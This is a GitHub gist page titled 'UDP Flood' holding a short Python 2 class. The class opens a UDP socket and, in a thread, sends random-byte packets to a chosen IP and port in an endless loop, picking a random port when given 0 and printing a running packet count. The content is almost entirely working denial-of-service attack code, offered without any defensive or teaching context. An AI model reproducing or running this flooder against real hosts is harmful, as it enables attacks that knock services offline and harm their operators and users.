Skip to content

Instantly share code, notes, and snippets.

@Ethcelon
Created August 23, 2015 08:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ethcelon/0efca982c7737a61e1d7 to your computer and use it in GitHub Desktop.
Save Ethcelon/0efca982c7737a61e1d7 to your computer and use it in GitHub Desktop.
UDP Flood
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def run(self):
global counter
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
print "Thread started: sendting to " + self.ip + ':' + str(self.port)
while True:
try:
self.udp.sendto(bytes, (self.ip, self.port))
counter = counter + 1
print counter
except TypeError as e:
print e
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment